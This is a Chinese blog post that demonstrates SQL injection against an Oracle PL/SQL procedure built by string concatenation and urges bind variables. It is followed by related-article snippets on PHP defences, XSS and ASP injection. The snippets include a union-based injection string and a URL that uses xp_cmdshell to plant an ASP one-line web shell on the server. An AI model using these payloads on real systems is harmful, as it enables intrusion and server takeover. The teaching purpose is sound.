[20160919]sql注入例子.txt

[20160919]sql注入例子.txt

--许多开发喜欢拚接sql语句,而不是使用绑定变量,而这样带来一个问题就是给注入攻击提供了可能,从别人的网站炒一个例子:

1.环境:
SCOTT@book> @ &r/ver1

PORT_STRING                    VERSION        BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx            11.2.0.4.0     Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production

create table tx (fname varchar2(20),lname varchar2(20), id number);
insert into tx values ('aa','aaa',100);
insert into tx values ('bb','bbb',101);
commit;

create or replace procedure get_code (p_fname varchar2 default null)
is
type c is ref cursor;
cv c;
vcode tx.id%type;
v_stmt varchar2(300);
begin
v_stmt := 'select id from tx where fname='''||p_fname||'''';
dbms_output.put_line('sql query : '||v_stmt);
open cv for v_stmt;
loop
fetch cv into vcode;
exit when cv%notfound;
dbms_output.put_line('code is '||vcode);
end loop;
close cv;
exception when others then
dbms_output.put_line(sqlerrm);
dbms_output.put_line('sql query '||v_stmt);
end;
/

2.测试:
SCOTT@book> set serveroutput on
SCOTT@book> exec get_code('aa');
sql query : select id from tx where fname='aa'
code is 100

PL/SQL procedure successfully completed.

SCOTT@book> exec get_code('x'' union select id from tx where ''x''=''x');
sql query : select id from tx where fname='x' union select id from tx where 'x'='x'
code is 100
code is 101
PL/SQL procedure successfully completed.
--这就是拼接可能导致的问题。

3.我个人一直认为开发oltp系统大量的不使用绑定变量(当然前提是合理),是一个不成熟的团队,可惜国内的大部分开发团队从这点讲基本
都做不到,更可怕的是你跟他们讲依旧重复这个错误,从这点看国内开发团队大部分都长不大,都是豆腐渣团队.悲哀啊

时间: 2024-09-11 18:56:12

[20160919]sql注入例子.txt的相关文章

PHP防止SQL注入的例子

使用prepared以及参数绑定查询可根本性防止sql注入的发生:SQL语句与参数分批传输到sql服务器的方式让利用字符串拼接的SQL注入没有了施展空间. 基本上你有两种方式完成上述方法: 使用PDO: $stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name'); $stmt->execute(array('name' => $name)); foreach ($stmt as $row) {     // do

最详细的SQL注入相关的命令整理

sql 1.   用^转义字符来写ASP(一句话木马)文件的方法:   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--    echo ^<%execute^(req

XSS &amp;amp; SQL注入_安全相关

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX  X Web Security - XSS & more X  XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX  作者: CyberPhreak 翻译: 黯魂 [S.S.T] ~介绍 在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比

SQL注入攻击:防御和检查SQL注入的手段

虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施.知彼知己,方可取胜.首先要清楚SQL注入攻击有哪些种类. 观察近来的一些安全事件及其后果,安全专家们已经得到一个结论,这些威胁主要是通过SQL注入造成的.虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施. SQL注入攻击的种类 知彼知己,方可取胜.首先要清楚SQL注入攻击有哪些种类. 1.没有正确过滤转义字符 在用户的输入没有为转义字符过滤

关于SQL注入的几类错误和产生的原理

对于注入而言,错误提示是极其重要.所谓错误提示是指和正确页面不同的结果反馈,高手是很重视这个一点的,这对于注入点的精准判断至关重要.本问讨论下关于几类错误和他产生的原理,希望对读者有所帮助. 错误提示主要有逻辑错误和语法错误以及脚本运行错误三类. 一:逻辑错误 简单的例子是1=1 1=2这两个,1=1与1=2页面不同的原理是什么?以$sql = "select * from news where id=$_GET[id]"为例. select * from news where id=

利用SQL注入,通过dbo获得SQL管理权限和系统权限

我做了如下测试:(1) http://www.xxx.com/new/new.asp?id=49' Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'ID=49'' 中. /new.asp,行36 (2) http://www.xxx.com/new/new.asp?id=49 and 1=1(正常返回页面) (3) h

总结了关于PHP xss 和 SQL 注入的问题

漏洞无非这么几类,XSS.sql注入.命令执行.上传漏洞.本地包含.远程包含.权限绕过.信息泄露.cookie伪造.CSRF(跨站请求)等.这些漏洞不仅仅是针对PHP语言的,本文只是简单介绍PHP如何有效防止这些漏洞. 1.xss + sql注入(关于xss攻击详细介绍) 其中占大头的自然是XSS与SQL注入,对于框架类型或者有公共文件的,建议在公共文件中统一做一次XSS和SQL注入的过滤.用PHP写个过滤函数,可由如下所示: $_REQUEST = filter_xss($_REQUEST);

SQL注入天书—ASP注入漏洞全接触

SQL注入天书-ASP注入漏洞全接触选择自 digituser 的 Blog 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入. SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的

PHPcms利用xss执行sql注入

昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功! 于是乎我只有假想下一个极端环境: 1.前台有且只有一个xss漏洞(不能获取管理员cookie) 2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问) 3.注入获得管理员密码可解密 4.除以上无其他任何漏洞(包括后台getwebshell) 其实